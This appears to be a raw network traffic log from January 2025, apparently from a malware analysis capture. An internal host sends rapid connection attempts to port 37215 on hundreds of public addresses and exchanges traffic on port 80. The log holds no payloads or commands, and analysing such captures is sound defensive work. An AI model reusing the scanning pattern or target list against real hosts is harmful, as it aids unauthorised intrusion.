Jan 5, 2025 14:26:58.686362982 CET	80	45906	77.148.102.80	192.168.2.13
Jan 5, 2025 14:26:58.686368942 CET	80	55412	187.215.170.91	192.168.2.13
Jan 5, 2025 14:26:58.686378002 CET	80	44078	186.233.155.56	192.168.2.13
Jan 5, 2025 14:26:58.686516047 CET	80	49662	118.1.42.140	192.168.2.13
Jan 5, 2025 14:26:58.686525106 CET	80	53732	201.24.10.218	192.168.2.13
Jan 5, 2025 14:26:58.686533928 CET	80	50896	208.31.46.129	192.168.2.13
Jan 5, 2025 14:26:58.686542988 CET	80	37904	27.187.204.8	192.168.2.13
Jan 5, 2025 14:26:58.686552048 CET	80	44508	210.251.76.35	192.168.2.13
Jan 5, 2025 14:26:58.686572075 CET	80	46236	144.228.47.121	192.168.2.13
Jan 5, 2025 14:26:58.686579943 CET	80	50578	159.50.39.200	192.168.2.13
Jan 5, 2025 14:26:58.686588049 CET	80	40220	49.38.20.8	192.168.2.13
Jan 5, 2025 14:26:58.686595917 CET	80	53770	85.165.50.215	192.168.2.13
Jan 5, 2025 14:26:58.686603069 CET	80	47058	183.75.42.187	192.168.2.13
Jan 5, 2025 14:26:58.686651945 CET	80	58878	95.225.137.142	192.168.2.13
Jan 5, 2025 14:26:58.686661005 CET	80	34620	19.181.176.189	192.168.2.13
Jan 5, 2025 14:26:58.686868906 CET	80	37306	205.84.6.154	192.168.2.13
Jan 5, 2025 14:26:58.686877966 CET	80	51924	67.6.202.35	192.168.2.13
Jan 5, 2025 14:26:58.686887026 CET	80	39330	177.15.51.100	192.168.2.13
Jan 5, 2025 14:26:58.686893940 CET	80	58202	205.205.167.21	192.168.2.13
Jan 5, 2025 14:26:58.686903000 CET	80	57070	34.20.189.80	192.168.2.13
Jan 5, 2025 14:26:58.687000990 CET	80	59566	198.40.82.222	192.168.2.13
Jan 5, 2025 14:26:58.687010050 CET	80	59862	27.255.102.38	192.168.2.13
Jan 5, 2025 14:26:58.687017918 CET	80	53268	205.118.148.77	192.168.2.13
Jan 5, 2025 14:26:58.687026024 CET	80	41492	20.28.186.113	192.168.2.13
Jan 5, 2025 14:26:58.703650951 CET	53944	80	192.168.2.13	212.7.199.36
Jan 5, 2025 14:26:58.703654051 CET	48552	80	192.168.2.13	204.72.238.16
Jan 5, 2025 14:26:58.703672886 CET	39490	37215	192.168.2.13	197.39.42.34
Jan 5, 2025 14:26:58.708462954 CET	80	53944	212.7.199.36	192.168.2.13
Jan 5, 2025 14:26:58.708473921 CET	80	48552	204.72.238.16	192.168.2.13
Jan 5, 2025 14:26:58.708506107 CET	53944	80	192.168.2.13	212.7.199.36
Jan 5, 2025 14:26:58.708539963 CET	48552	80	192.168.2.13	204.72.238.16
Jan 5, 2025 14:26:58.708576918 CET	53944	80	192.168.2.13	212.7.199.36
Jan 5, 2025 14:26:58.708586931 CET	48552	80	192.168.2.13	204.72.238.16
Jan 5, 2025 14:26:58.708615065 CET	58752	80	192.168.2.13	169.25.166.142
Jan 5, 2025 14:26:58.708620071 CET	41342	80	192.168.2.13	197.175.29.49
Jan 5, 2025 14:26:58.713355064 CET	80	58752	169.25.166.142	192.168.2.13
Jan 5, 2025 14:26:58.713388920 CET	58752	80	192.168.2.13	169.25.166.142
Jan 5, 2025 14:26:58.713433027 CET	58752	80	192.168.2.13	169.25.166.142
Jan 5, 2025 14:26:58.713433027 CET	58752	80	192.168.2.13	169.25.166.142
Jan 5, 2025 14:26:58.713433027 CET	58754	80	192.168.2.13	169.25.166.142
Jan 5, 2025 14:26:58.713614941 CET	80	53944	212.7.199.36	192.168.2.13
Jan 5, 2025 14:26:58.713649035 CET	53944	80	192.168.2.13	212.7.199.36
Jan 5, 2025 14:26:58.713721037 CET	80	48552	204.72.238.16	192.168.2.13
Jan 5, 2025 14:26:58.713762045 CET	48552	80	192.168.2.13	204.72.238.16
Jan 5, 2025 14:26:58.718266010 CET	80	58752	169.25.166.142	192.168.2.13
Jan 5, 2025 14:26:58.722614050 CET	56446	37215	192.168.2.13	156.111.169.238
Jan 5, 2025 14:26:58.722614050 CET	56446	37215	192.168.2.13	156.138.175.52
Jan 5, 2025 14:26:58.722614050 CET	56446	37215	192.168.2.13	41.23.244.95
Jan 5, 2025 14:26:58.722615957 CET	56446	37215	192.168.2.13	197.68.255.63
Jan 5, 2025 14:26:58.722614050 CET	56446	37215	192.168.2.13	197.175.161.103
Jan 5, 2025 14:26:58.722615957 CET	56446	37215	192.168.2.13	156.112.248.235
Jan 5, 2025 14:26:58.722615957 CET	56446	37215	192.168.2.13	156.211.229.28
Jan 5, 2025 14:26:58.722615957 CET	56446	37215	192.168.2.13	156.95.111.114
Jan 5, 2025 14:26:58.722631931 CET	56446	37215	192.168.2.13	41.124.152.157
Jan 5, 2025 14:26:58.722635031 CET	56446	37215	192.168.2.13	156.192.220.195
Jan 5, 2025 14:26:58.722634077 CET	56446	37215	192.168.2.13	41.15.79.117
Jan 5, 2025 14:26:58.722636938 CET	56446	37215	192.168.2.13	41.80.185.10
Jan 5, 2025 14:26:58.722636938 CET	56446	37215	192.168.2.13	156.5.78.66
Jan 5, 2025 14:26:58.722637892 CET	56446	37215	192.168.2.13	197.67.235.105
Jan 5, 2025 14:26:58.722649097 CET	56446	37215	192.168.2.13	197.139.133.147
Jan 5, 2025 14:26:58.722650051 CET	56446	37215	192.168.2.13	197.150.170.117
Jan 5, 2025 14:26:58.722649097 CET	56446	37215	192.168.2.13	41.11.177.215
Jan 5, 2025 14:26:58.722649097 CET	56446	37215	192.168.2.13	197.103.196.142
Jan 5, 2025 14:26:58.722652912 CET	56446	37215	192.168.2.13	156.109.29.87
Jan 5, 2025 14:26:58.722652912 CET	56446	37215	192.168.2.13	156.229.236.122
Jan 5, 2025 14:26:58.722656965 CET	56446	37215	192.168.2.13	197.181.35.221
Jan 5, 2025 14:26:58.722662926 CET	56446	37215	192.168.2.13	156.145.114.128
Jan 5, 2025 14:26:58.722662926 CET	56446	37215	192.168.2.13	197.15.53.75
Jan 5, 2025 14:26:58.722664118 CET	56446	37215	192.168.2.13	197.186.233.177
Jan 5, 2025 14:26:58.722671032 CET	56446	37215	192.168.2.13	197.159.23.188
Jan 5, 2025 14:26:58.722671032 CET	56446	37215	192.168.2.13	156.115.115.3
Jan 5, 2025 14:26:58.722676992 CET	56446	37215	192.168.2.13	156.12.78.105
Jan 5, 2025 14:26:58.722685099 CET	56446	37215	192.168.2.13	197.196.220.82
Jan 5, 2025 14:26:58.722687006 CET	56446	37215	192.168.2.13	156.79.138.111
Jan 5, 2025 14:26:58.722687006 CET	56446	37215	192.168.2.13	156.45.172.251
Jan 5, 2025 14:26:58.722690105 CET	56446	37215	192.168.2.13	156.90.208.151
Jan 5, 2025 14:26:58.722696066 CET	56446	37215	192.168.2.13	41.98.209.127
Jan 5, 2025 14:26:58.722696066 CET	56446	37215	192.168.2.13	197.208.177.64
Jan 5, 2025 14:26:58.722696066 CET	56446	37215	192.168.2.13	197.211.180.88
Jan 5, 2025 14:26:58.722698927 CET	56446	37215	192.168.2.13	197.22.179.215
Jan 5, 2025 14:26:58.722698927 CET	56446	37215	192.168.2.13	41.109.156.33
Jan 5, 2025 14:26:58.722698927 CET	56446	37215	192.168.2.13	197.176.73.122
Jan 5, 2025 14:26:58.722698927 CET	56446	37215	192.168.2.13	156.139.233.16
Jan 5, 2025 14:26:58.722700119 CET	56446	37215	192.168.2.13	156.17.105.29
Jan 5, 2025 14:26:58.722700119 CET	56446	37215	192.168.2.13	197.42.157.2
Jan 5, 2025 14:26:58.722707987 CET	56446	37215	192.168.2.13	197.154.184.201
Jan 5, 2025 14:26:58.722717047 CET	56446	37215	192.168.2.13	156.65.54.6
Jan 5, 2025 14:26:58.722719908 CET	56446	37215	192.168.2.13	156.104.80.97
Jan 5, 2025 14:26:58.722723007 CET	56446	37215	192.168.2.13	197.107.40.22
Jan 5, 2025 14:26:58.722726107 CET	56446	37215	192.168.2.13	156.189.21.108
Jan 5, 2025 14:26:58.722747087 CET	56446	37215	192.168.2.13	41.191.225.72
Jan 5, 2025 14:26:58.722747087 CET	56446	37215	192.168.2.13	197.64.73.237
Jan 5, 2025 14:26:58.722748995 CET	56446	37215	192.168.2.13	156.172.172.36
Jan 5, 2025 14:26:58.722748995 CET	56446	37215	192.168.2.13	156.172.177.114
Jan 5, 2025 14:26:58.722748995 CET	56446	37215	192.168.2.13	41.112.156.230
Jan 5, 2025 14:26:58.722748995 CET	56446	37215	192.168.2.13	156.77.132.121
Jan 5, 2025 14:26:58.722748995 CET	56446	37215	192.168.2.13	197.137.162.106
Jan 5, 2025 14:26:58.722748995 CET	56446	37215	192.168.2.13	156.181.30.101
Jan 5, 2025 14:26:58.722748995 CET	56446	37215	192.168.2.13	156.107.202.64
Jan 5, 2025 14:26:58.722748995 CET	56446	37215	192.168.2.13	41.0.167.114
Jan 5, 2025 14:26:58.722754002 CET	56446	37215	192.168.2.13	197.66.76.204
Jan 5, 2025 14:26:58.722754002 CET	56446	37215	192.168.2.13	156.179.215.60
Jan 5, 2025 14:26:58.722754955 CET	56446	37215	192.168.2.13	41.218.127.215
Jan 5, 2025 14:26:58.722757101 CET	56446	37215	192.168.2.13	197.171.6.140
Jan 5, 2025 14:26:58.722758055 CET	56446	37215	192.168.2.13	156.65.147.203
Jan 5, 2025 14:26:58.722763062 CET	56446	37215	192.168.2.13	156.231.241.162
Jan 5, 2025 14:26:58.722764969 CET	56446	37215	192.168.2.13	41.36.157.185
Jan 5, 2025 14:26:58.722765923 CET	56446	37215	192.168.2.13	197.7.120.173
Jan 5, 2025 14:26:58.722765923 CET	56446	37215	192.168.2.13	41.73.210.180
Jan 5, 2025 14:26:58.722779989 CET	56446	37215	192.168.2.13	156.213.112.8
Jan 5, 2025 14:26:58.722784042 CET	56446	37215	192.168.2.13	156.107.43.214
Jan 5, 2025 14:26:58.722784042 CET	56446	37215	192.168.2.13	197.34.140.27
Jan 5, 2025 14:26:58.722784042 CET	56446	37215	192.168.2.13	156.155.230.78
Jan 5, 2025 14:26:58.722785950 CET	56446	37215	192.168.2.13	41.60.47.166
Jan 5, 2025 14:26:58.722785950 CET	56446	37215	192.168.2.13	41.172.199.230
Jan 5, 2025 14:26:58.722785950 CET	56446	37215	192.168.2.13	197.149.242.45
Jan 5, 2025 14:26:58.722793102 CET	56446	37215	192.168.2.13	197.133.223.175
Jan 5, 2025 14:26:58.722793102 CET	56446	37215	192.168.2.13	197.38.88.174
Jan 5, 2025 14:26:58.722809076 CET	56446	37215	192.168.2.13	41.13.227.168
Jan 5, 2025 14:26:58.722812891 CET	56446	37215	192.168.2.13	197.121.162.45
Jan 5, 2025 14:26:58.722812891 CET	56446	37215	192.168.2.13	156.186.229.154
Jan 5, 2025 14:26:58.722814083 CET	56446	37215	192.168.2.13	156.32.78.221
Jan 5, 2025 14:26:58.722815037 CET	56446	37215	192.168.2.13	156.243.160.49
Jan 5, 2025 14:26:58.722817898 CET	56446	37215	192.168.2.13	41.158.127.211
Jan 5, 2025 14:26:58.722817898 CET	56446	37215	192.168.2.13	41.110.173.173
Jan 5, 2025 14:26:58.722817898 CET	56446	37215	192.168.2.13	197.160.98.69
Jan 5, 2025 14:26:58.722817898 CET	56446	37215	192.168.2.13	197.204.252.241
Jan 5, 2025 14:26:58.722820997 CET	56446	37215	192.168.2.13	41.54.220.57
Jan 5, 2025 14:26:58.722825050 CET	56446	37215	192.168.2.13	41.23.181.20
Jan 5, 2025 14:26:58.722825050 CET	56446	37215	192.168.2.13	156.62.90.236
Jan 5, 2025 14:26:58.722827911 CET	56446	37215	192.168.2.13	197.64.73.108
Jan 5, 2025 14:26:58.722830057 CET	56446	37215	192.168.2.13	41.160.236.189
Jan 5, 2025 14:26:58.722830057 CET	56446	37215	192.168.2.13	156.208.169.3
Jan 5, 2025 14:26:58.722831011 CET	56446	37215	192.168.2.13	197.183.120.182
Jan 5, 2025 14:26:58.722832918 CET	56446	37215	192.168.2.13	156.226.84.187
Jan 5, 2025 14:26:58.722837925 CET	56446	37215	192.168.2.13	156.246.230.88
Jan 5, 2025 14:26:58.722837925 CET	56446	37215	192.168.2.13	156.53.193.24
Jan 5, 2025 14:26:58.722840071 CET	56446	37215	192.168.2.13	197.117.70.136
Jan 5, 2025 14:26:58.722851038 CET	56446	37215	192.168.2.13	41.23.164.185
Jan 5, 2025 14:26:58.722856998 CET	56446	37215	192.168.2.13	41.214.219.98
Jan 5, 2025 14:26:58.722860098 CET	56446	37215	192.168.2.13	197.27.54.178
Jan 5, 2025 14:26:58.722861052 CET	56446	37215	192.168.2.13	197.41.217.172
Jan 5, 2025 14:26:58.722861052 CET	56446	37215	192.168.2.13	156.65.72.212
Jan 5, 2025 14:26:58.722861052 CET	56446	37215	192.168.2.13	197.51.196.31
Jan 5, 2025 14:26:58.722866058 CET	56446	37215	192.168.2.13	41.123.182.244
Jan 5, 2025 14:26:58.722867012 CET	56446	37215	192.168.2.13	156.200.53.211
Jan 5, 2025 14:26:58.722866058 CET	56446	37215	192.168.2.13	197.47.140.35
Jan 5, 2025 14:26:58.722870111 CET	56446	37215	192.168.2.13	156.120.245.32
Jan 5, 2025 14:26:58.722871065 CET	56446	37215	192.168.2.13	197.160.20.1
Jan 5, 2025 14:26:58.722883940 CET	56446	37215	192.168.2.13	156.25.204.95
Jan 5, 2025 14:26:58.722883940 CET	56446	37215	192.168.2.13	41.160.194.227
Jan 5, 2025 14:26:58.722883940 CET	56446	37215	192.168.2.13	197.39.66.248
Jan 5, 2025 14:26:58.722883940 CET	56446	37215	192.168.2.13	197.51.31.23
Jan 5, 2025 14:26:58.722888947 CET	56446	37215	192.168.2.13	41.40.4.2
Jan 5, 2025 14:26:58.722893953 CET	56446	37215	192.168.2.13	156.220.49.173
Jan 5, 2025 14:26:58.722893953 CET	56446	37215	192.168.2.13	156.237.116.44
Jan 5, 2025 14:26:58.722896099 CET	56446	37215	192.168.2.13	197.79.129.60
Jan 5, 2025 14:26:58.722896099 CET	56446	37215	192.168.2.13	156.212.5.205
Jan 5, 2025 14:26:58.722898006 CET	56446	37215	192.168.2.13	156.92.29.194
Jan 5, 2025 14:26:58.722898006 CET	56446	37215	192.168.2.13	41.168.14.224
Jan 5, 2025 14:26:58.722899914 CET	56446	37215	192.168.2.13	197.208.74.40
Jan 5, 2025 14:26:58.722899914 CET	56446	37215	192.168.2.13	41.235.169.32
Jan 5, 2025 14:26:58.722912073 CET	56446	37215	192.168.2.13	197.140.238.24
Jan 5, 2025 14:26:58.722919941 CET	56446	37215	192.168.2.13	197.121.156.170
Jan 5, 2025 14:26:58.722919941 CET	56446	37215	192.168.2.13	41.188.117.197
Jan 5, 2025 14:26:58.722923040 CET	56446	37215	192.168.2.13	41.57.224.55
Jan 5, 2025 14:26:58.722923040 CET	56446	37215	192.168.2.13	41.30.240.76
Jan 5, 2025 14:26:58.722925901 CET	56446	37215	192.168.2.13	156.182.19.93
Jan 5, 2025 14:26:58.722934961 CET	56446	37215	192.168.2.13	156.45.210.6
Jan 5, 2025 14:26:58.722939968 CET	56446	37215	192.168.2.13	156.103.238.156
Jan 5, 2025 14:26:58.722939968 CET	56446	37215	192.168.2.13	156.58.14.99
Jan 5, 2025 14:26:58.722942114 CET	56446	37215	192.168.2.13	197.252.54.57
Jan 5, 2025 14:26:58.722942114 CET	56446	37215	192.168.2.13	41.16.33.94
Jan 5, 2025 14:26:58.722944975 CET	56446	37215	192.168.2.13	41.173.229.161
Jan 5, 2025 14:26:58.722946882 CET	56446	37215	192.168.2.13	41.43.172.109
Jan 5, 2025 14:26:58.722946882 CET	56446	37215	192.168.2.13	156.76.109.192
Jan 5, 2025 14:26:58.722950935 CET	56446	37215	192.168.2.13	156.114.216.149
Jan 5, 2025 14:26:58.722950935 CET	56446	37215	192.168.2.13	197.145.79.168
Jan 5, 2025 14:26:58.722956896 CET	56446	37215	192.168.2.13	156.119.196.1
Jan 5, 2025 14:26:58.722959995 CET	56446	37215	192.168.2.13	41.99.202.182
Jan 5, 2025 14:26:58.722959995 CET	56446	37215	192.168.2.13	41.59.227.173
Jan 5, 2025 14:26:58.722965956 CET	56446	37215	192.168.2.13	41.224.142.60
Jan 5, 2025 14:26:58.722965956 CET	56446	37215	192.168.2.13	41.34.221.240
Jan 5, 2025 14:26:58.722965956 CET	56446	37215	192.168.2.13	197.195.230.96
Jan 5, 2025 14:26:58.722966909 CET	56446	37215	192.168.2.13	41.145.101.113
Jan 5, 2025 14:26:58.722969055 CET	56446	37215	192.168.2.13	197.126.66.225
Jan 5, 2025 14:26:58.722975969 CET	56446	37215	192.168.2.13	41.82.35.86
Jan 5, 2025 14:26:58.722976923 CET	56446	37215	192.168.2.13	156.216.153.149
Jan 5, 2025 14:26:58.722976923 CET	56446	37215	192.168.2.13	156.37.119.245
Jan 5, 2025 14:26:58.722984076 CET	56446	37215	192.168.2.13	41.191.240.13
Jan 5, 2025 14:26:58.722987890 CET	56446	37215	192.168.2.13	41.185.38.245
Jan 5, 2025 14:26:58.722987890 CET	56446	37215	192.168.2.13	197.245.148.213
Jan 5, 2025 14:26:58.723002911 CET	56446	37215	192.168.2.13	41.137.33.182
Jan 5, 2025 14:26:58.723002911 CET	56446	37215	192.168.2.13	197.214.69.62
Jan 5, 2025 14:26:58.723005056 CET	56446	37215	192.168.2.13	156.192.60.172
Jan 5, 2025 14:26:58.723005056 CET	56446	37215	192.168.2.13	41.207.129.85
Jan 5, 2025 14:26:58.723007917 CET	56446	37215	192.168.2.13	41.155.225.219
Jan 5, 2025 14:26:58.723016977 CET	56446	37215	192.168.2.13	41.199.148.67
Jan 5, 2025 14:26:58.723021030 CET	56446	37215	192.168.2.13	197.238.237.251
Jan 5, 2025 14:26:58.723021984 CET	56446	37215	192.168.2.13	41.15.76.133
Jan 5, 2025 14:26:58.723021984 CET	56446	37215	192.168.2.13	197.2.158.50
Jan 5, 2025 14:26:58.723021984 CET	56446	37215	192.168.2.13	41.183.253.214
Jan 5, 2025 14:26:58.723021984 CET	56446	37215	192.168.2.13	197.94.134.168
Jan 5, 2025 14:26:58.723021984 CET	56446	37215	192.168.2.13	41.148.168.131
Jan 5, 2025 14:26:58.723021984 CET	56446	37215	192.168.2.13	41.125.249.21
Jan 5, 2025 14:26:58.723032951 CET	56446	37215	192.168.2.13	156.72.15.186
Jan 5, 2025 14:26:58.723036051 CET	56446	37215	192.168.2.13	156.109.164.23
Jan 5, 2025 14:26:58.723038912 CET	56446	37215	192.168.2.13	156.168.120.124
Jan 5, 2025 14:26:58.723038912 CET	56446	37215	192.168.2.13	156.102.245.222
Jan 5, 2025 14:26:58.723038912 CET	56446	37215	192.168.2.13	156.85.73.48
Jan 5, 2025 14:26:58.723040104 CET	56446	37215	192.168.2.13	156.63.27.8
Jan 5, 2025 14:26:58.723040104 CET	56446	37215	192.168.2.13	156.72.117.202
Jan 5, 2025 14:26:58.723040104 CET	56446	37215	192.168.2.13	197.65.152.232
Jan 5, 2025 14:26:58.723042011 CET	56446	37215	192.168.2.13	156.58.234.82
Jan 5, 2025 14:26:58.723042011 CET	56446	37215	192.168.2.13	41.85.250.217
Jan 5, 2025 14:26:58.723046064 CET	56446	37215	192.168.2.13	41.15.109.197
Jan 5, 2025 14:26:58.723047972 CET	56446	37215	192.168.2.13	156.178.109.195
Jan 5, 2025 14:26:58.723047972 CET	56446	37215	192.168.2.13	156.179.24.104
Jan 5, 2025 14:26:58.723051071 CET	56446	37215	192.168.2.13	197.168.35.44
Jan 5, 2025 14:26:58.723054886 CET	56446	37215	192.168.2.13	197.200.216.17
Jan 5, 2025 14:26:58.723054886 CET	56446	37215	192.168.2.13	197.232.38.118
Jan 5, 2025 14:26:58.723057985 CET	56446	37215	192.168.2.13	156.113.211.183
Jan 5, 2025 14:26:58.723062992 CET	56446	37215	192.168.2.13	41.209.97.14
Jan 5, 2025 14:26:58.723062992 CET	56446	37215	192.168.2.13	41.5.156.26
Jan 5, 2025 14:26:58.723066092 CET	56446	37215	192.168.2.13	197.183.37.117
Jan 5, 2025 14:26:58.723066092 CET	56446	37215	192.168.2.13	156.93.115.88
Jan 5, 2025 14:26:58.723068953 CET	56446	37215	192.168.2.13	156.201.2.60
Jan 5, 2025 14:26:58.723069906 CET	56446	37215	192.168.2.13	41.115.46.80
Jan 5, 2025 14:26:58.723078966 CET	56446	37215	192.168.2.13	156.154.137.81
Jan 5, 2025 14:26:58.723078966 CET	56446	37215	192.168.2.13	156.105.149.111
Jan 5, 2025 14:26:58.723079920 CET	56446	37215	192.168.2.13	197.192.191.97
Jan 5, 2025 14:26:58.723079920 CET	56446	37215	192.168.2.13	197.154.159.246
Jan 5, 2025 14:26:58.723081112 CET	56446	37215	192.168.2.13	41.57.174.91
Jan 5, 2025 14:26:58.723083019 CET	56446	37215	192.168.2.13	41.193.51.218
Jan 5, 2025 14:26:58.723098040 CET	56446	37215	192.168.2.13	197.132.88.108
Jan 5, 2025 14:26:58.723104000 CET	56446	37215	192.168.2.13	156.67.207.226
Jan 5, 2025 14:26:58.723104000 CET	56446	37215	192.168.2.13	156.149.219.223
Jan 5, 2025 14:26:58.723104000 CET	56446	37215	192.168.2.13	197.169.11.47
Jan 5, 2025 14:26:58.723107100 CET	56446	37215	192.168.2.13	41.143.254.49
Jan 5, 2025 14:26:58.723107100 CET	56446	37215	192.168.2.13	197.33.21.52
Jan 5, 2025 14:26:58.723107100 CET	56446	37215	192.168.2.13	197.137.132.115
Jan 5, 2025 14:26:58.723113060 CET	56446	37215	192.168.2.13	197.200.94.103
Jan 5, 2025 14:26:58.723114014 CET	56446	37215	192.168.2.13	156.113.196.71
Jan 5, 2025 14:26:58.723114967 CET	56446	37215	192.168.2.13	41.76.7.67
Jan 5, 2025 14:26:58.723119020 CET	56446	37215	192.168.2.13	197.30.254.7
Jan 5, 2025 14:26:58.723131895 CET	56446	37215	192.168.2.13	197.209.214.228
Jan 5, 2025 14:26:58.723131895 CET	56446	37215	192.168.2.13	156.117.83.62
Jan 5, 2025 14:26:58.723134995 CET	56446	37215	192.168.2.13	156.69.195.60
Jan 5, 2025 14:26:58.723134995 CET	56446	37215	192.168.2.13	197.10.212.80
Jan 5, 2025 14:26:58.723141909 CET	56446	37215	192.168.2.13	156.230.177.134
Jan 5, 2025 14:26:58.723141909 CET	56446	37215	192.168.2.13	156.9.240.165
Jan 5, 2025 14:26:58.723143101 CET	56446	37215	192.168.2.13	156.25.242.142
Jan 5, 2025 14:26:58.723146915 CET	56446	37215	192.168.2.13	156.135.175.174
Jan 5, 2025 14:26:58.723146915 CET	56446	37215	192.168.2.13	41.199.108.47
Jan 5, 2025 14:26:58.723146915 CET	56446	37215	192.168.2.13	41.200.51.140
Jan 5, 2025 14:26:58.723146915 CET	56446	37215	192.168.2.13	156.174.27.29
Jan 5, 2025 14:26:58.723150969 CET	56446	37215	192.168.2.13	41.119.39.127
Jan 5, 2025 14:26:58.723154068 CET	56446	37215	192.168.2.13	197.147.49.54
Jan 5, 2025 14:26:58.723154068 CET	56446	37215	192.168.2.13	197.131.245.87
Jan 5, 2025 14:26:58.723155022 CET	56446	37215	192.168.2.13	197.234.62.73
Jan 5, 2025 14:26:58.723155022 CET	56446	37215	192.168.2.13	41.220.80.59
Jan 5, 2025 14:26:58.723164082 CET	56446	37215	192.168.2.13	41.152.183.118
Jan 5, 2025 14:26:58.723164082 CET	56446	37215	192.168.2.13	197.17.217.129
Jan 5, 2025 14:26:58.723164082 CET	56446	37215	192.168.2.13	197.208.247.71
Jan 5, 2025 14:26:58.723164082 CET	56446	37215	192.168.2.13	197.239.142.58
Jan 5, 2025 14:26:58.723165989 CET	56446	37215	192.168.2.13	41.119.242.244
Jan 5, 2025 14:26:58.723185062 CET	56446	37215	192.168.2.13	197.235.172.81
Jan 5, 2025 14:26:58.723185062 CET	56446	37215	192.168.2.13	197.25.128.34
Jan 5, 2025 14:26:58.723186016 CET	56446	37215	192.168.2.13	41.141.105.190
Jan 5, 2025 14:26:58.723191977 CET	56446	37215	192.168.2.13	41.123.100.206
Jan 5, 2025 14:26:58.723191977 CET	56446	37215	192.168.2.13	41.9.245.204
Jan 5, 2025 14:26:58.723193884 CET	56446	37215	192.168.2.13	197.82.154.126
Jan 5, 2025 14:26:58.723195076 CET	56446	37215	192.168.2.13	156.76.16.99
Jan 5, 2025 14:26:58.723195076 CET	56446	37215	192.168.2.13	41.187.149.3
Jan 5, 2025 14:26:58.723195076 CET	56446	37215	192.168.2.13	41.96.187.200
Jan 5, 2025 14:26:58.723205090 CET	56446	37215	192.168.2.13	197.225.179.123
Jan 5, 2025 14:26:58.723211050 CET	56446	37215	192.168.2.13	156.45.39.176
Jan 5, 2025 14:26:58.723211050 CET	56446	37215	192.168.2.13	156.219.140.124
Jan 5, 2025 14:26:58.723212957 CET	56446	37215	192.168.2.13	197.155.156.183
Jan 5, 2025 14:26:58.723212957 CET	56446	37215	192.168.2.13	197.130.187.191
Jan 5, 2025 14:26:58.723212957 CET	56446	37215	192.168.2.13	41.72.158.235
Jan 5, 2025 14:26:58.723213911 CET	56446	37215	192.168.2.13	41.2.153.195
Jan 5, 2025 14:26:58.723213911 CET	56446	37215	192.168.2.13	197.215.75.115
Jan 5, 2025 14:26:58.723215103 CET	56446	37215	192.168.2.13	41.166.6.38
Jan 5, 2025 14:26:58.723217010 CET	56446	37215	192.168.2.13	197.148.205.105
Jan 5, 2025 14:26:58.723220110 CET	56446	37215	192.168.2.13	41.9.185.209
Jan 5, 2025 14:26:58.723223925 CET	56446	37215	192.168.2.13	41.96.142.87
Jan 5, 2025 14:26:58.723238945 CET	56446	37215	192.168.2.13	197.12.7.36
Jan 5, 2025 14:26:58.723238945 CET	56446	37215	192.168.2.13	197.139.164.145
Jan 5, 2025 14:26:58.723238945 CET	56446	37215	192.168.2.13	156.55.228.100
Jan 5, 2025 14:26:58.723238945 CET	56446	37215	192.168.2.13	197.215.199.204
Jan 5, 2025 14:26:58.723238945 CET	56446	37215	192.168.2.13	156.219.249.156
Jan 5, 2025 14:26:58.723238945 CET	56446	37215	192.168.2.13	156.111.208.80
Jan 5, 2025 14:26:58.723244905 CET	56446	37215	192.168.2.13	197.186.25.27
Jan 5, 2025 14:26:58.723244905 CET	56446	37215	192.168.2.13	41.93.226.185
Jan 5, 2025 14:26:58.723248005 CET	56446	37215	192.168.2.13	41.119.136.120
Jan 5, 2025 14:26:58.723253012 CET	56446	37215	192.168.2.13	156.179.241.56
Jan 5, 2025 14:26:58.723259926 CET	56446	37215	192.168.2.13	156.14.49.211
Jan 5, 2025 14:26:58.723262072 CET	56446	37215	192.168.2.13	156.174.215.201
Jan 5, 2025 14:26:58.723263025 CET	56446	37215	192.168.2.13	197.157.105.65
Jan 5, 2025 14:26:58.723268986 CET	56446	37215	192.168.2.13	197.192.151.228
Jan 5, 2025 14:26:58.723280907 CET	56446	37215	192.168.2.13	197.62.11.123
Jan 5, 2025 14:26:58.723282099 CET	56446	37215	192.168.2.13	197.148.208.44
Jan 5, 2025 14:26:58.723282099 CET	56446	37215	192.168.2.13	197.80.167.14
Jan 5, 2025 14:26:58.723282099 CET	56446	37215	192.168.2.13	41.211.103.74
Jan 5, 2025 14:26:58.723284006 CET	56446	37215	192.168.2.13	197.44.52.230
Jan 5, 2025 14:26:58.723284960 CET	56446	37215	192.168.2.13	41.169.66.154
Jan 5, 2025 14:26:58.723284960 CET	56446	37215	192.168.2.13	156.156.130.15
Jan 5, 2025 14:26:58.723287106 CET	56446	37215	192.168.2.13	197.246.48.77
Jan 5, 2025 14:26:58.723297119 CET	56446	37215	192.168.2.13	156.124.83.114
Jan 5, 2025 14:26:58.723297119 CET	56446	37215	192.168.2.13	156.21.249.229
Jan 5, 2025 14:26:58.723299026 CET	56446	37215	192.168.2.13	156.248.195.94
Jan 5, 2025 14:26:58.723301888 CET	56446	37215	192.168.2.13	197.201.120.206
Jan 5, 2025 14:26:58.723303080 CET	56446	37215	192.168.2.13	41.155.168.170
Jan 5, 2025 14:26:58.723304987 CET	56446	37215	192.168.2.13	41.107.143.135
Jan 5, 2025 14:26:58.723304987 CET	56446	37215	192.168.2.13	156.84.23.58
Jan 5, 2025 14:26:58.723304987 CET	56446	37215	192.168.2.13	197.66.63.131
Jan 5, 2025 14:26:58.723304987 CET	56446	37215	192.168.2.13	197.57.184.54
Jan 5, 2025 14:26:58.723309994 CET	56446	37215	192.168.2.13	197.120.17.64
Jan 5, 2025 14:26:58.723309994 CET	56446	37215	192.168.2.13	156.33.110.184
Jan 5, 2025 14:26:58.723320007 CET	56446	37215	192.168.2.13	156.169.203.210
Jan 5, 2025 14:26:58.723320961 CET	56446	37215	192.168.2.13	41.172.28.142
Jan 5, 2025 14:26:58.723330021 CET	56446	37215	192.168.2.13	41.122.67.49
Jan 5, 2025 14:26:58.723330021 CET	56446	37215	192.168.2.13	41.111.88.64
Jan 5, 2025 14:26:58.723330021 CET	56446	37215	192.168.2.13	156.216.187.65
Jan 5, 2025 14:26:58.723330975 CET	56446	37215	192.168.2.13	41.63.136.121
Jan 5, 2025 14:26:58.723330975 CET	56446	37215	192.168.2.13	197.196.196.174
Jan 5, 2025 14:26:58.723330975 CET	56446	37215	192.168.2.13	156.167.22.228
Jan 5, 2025 14:26:58.723330975 CET	56446	37215	192.168.2.13	41.123.84.86
Jan 5, 2025 14:26:58.723341942 CET	56446	37215	192.168.2.13	156.82.88.228
Jan 5, 2025 14:26:58.723341942 CET	56446	37215	192.168.2.13	156.148.136.24
Jan 5, 2025 14:26:58.723342896 CET	56446	37215	192.168.2.13	41.200.110.182
Jan 5, 2025 14:26:58.723345041 CET	56446	37215	192.168.2.13	197.130.169.60
Jan 5, 2025 14:26:58.723345041 CET	56446	37215	192.168.2.13	197.150.87.92
